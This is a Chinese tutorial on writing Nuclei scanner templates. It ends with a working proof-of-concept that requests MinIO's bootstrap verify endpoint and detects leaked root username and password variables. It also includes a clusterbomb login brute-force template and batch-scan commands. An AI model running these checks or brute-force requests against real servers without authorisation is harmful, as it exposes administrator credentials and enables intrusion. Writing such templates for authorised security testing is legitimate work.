Nuclei是一款由GO语言编写的扫描器,它内置大量poc模板,并且也可以自己编写模板。同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。
nuclei
项目地址:https://github.com/projectdiscovery/nuclei/
一、 工作流程
1. 模板编写
2. 批量跑目标
二、模板格式
nuclei只支持yaml文件格式的模板,这里就不赘述yaml文件格式的标准了,不懂的同学可以单独出一期细讲。所以这里的话就只介绍怎么写。
在nuclei的yaml模板中,大概可以分为四部分。
1. id: # 模板的唯一ID,注意不能有空格
2. info: # 编写者的描述或是其他基础信息
3. 网络请求方法:
4. matchers: # 匹配器
三、模板编写
1.id
id指模板的唯一id,一般以该yaml文件的功能命名。假设我这里以minio信息泄露漏洞作为样例,这个地方就写minio-info-leak。
2.info
info这个模块会提供一些信息块,这些信息块都是一些固定的参数。例如:name、author、severity、description、reference。也可以使用tags参数自定义标签。
name: # 名称
author: # 作者
severity: # 危害程度
description: # 描述
reference: # 参考链接
3.网络请求方法
在nuclei中支持两种网路请求方法,第一种就是基础请求。基础请求就是每一个请求头都要单独定义,首先要定义请求方法,例如我这里演示的漏洞就是POST请求
http:
- method: POST
路径
path:
- "{{BaseURL}}/admin"
请求头
headers:
# Custom user-agent header
User-Agent: Some-Random-User-Agent
# Custom request origin
Origin: https://google.com
请求体
body: "admin=test"
第二种网络请求方式就是原始的数据包请求。raw,这种方式可以将整个完整的数据包写在raw里面,不需要每一个都单独定义。如下:
requests:
- raw:
- |
POST :9000/minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4.匹配器
匹配器使用matchers,如果有多个条件默认选择器为or。matchers的子参数有很多,下面以代码段的形式表示。如果想以and作为选择器需要在matchers前面加上一行:matchers-condition: and。例如我这里就以响应包的状态码和响应体的某一字段作为条件。
matchers-conditions: and
matchers:
matchers的子标签。首先是- type:
status # 匹配响应码
- type: status # 匹配响应码为200的
- 200
word # 匹配关键词
- type: word
words:
- "minio"
5.字典
在变量中如果想要使用字典可以使用§pass§或者{{pass}}都可以表示变量。在给变量定义字典的时候需要选择测试方法,默认只能用一个参数,如果想使用多个参数需要加参数attack: clusterbomb
如下样例:
requests:
- raw:
- |-
POST /admin HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Username={{admin}}&Pw={{pass}}
payloads:
admin: user.txt
pass: pass.txt
attack: clusterbomb # 多对多
matchers-condition: and
matchers:
- type: status
status:
- 200
四、POC编写
minio信息泄露POC编写,这里我直接使用第一一种方法。
id: minio-secert-leak
info:
author: M1key
name: minio-secert-leak
severity: medium # low high
description: leak username and passwd in 9001
reference: https://www.whalwl.com
requests:
- method: POST
path:
- "{{BaseURL}}:9000/minio/bootstrap/v1/verify"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
body: " "
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "MINIO_ROOT_PASSWORD"
- "MINIO_ROOT_USER"
到此,一个简单的POC就完成啦!接下来我们只需要再去调用这个yaml文件就可以了。我们需要先检验我们所写的yaml文件是否正确。如图即为正常,否则需要自己去找找哪里写错了,还有一点就是nuclei对缩进非常严格。
nuclei.exe -t minioc.emby -validate # 检测文档有效性。
nuclei.exe -t minioc.emby -u # 指定单个url
nuclei.exe -t minioc.emby -l url.txt # 批量
如图即为成功!到此一个完整的可批量检测的poc就写好了。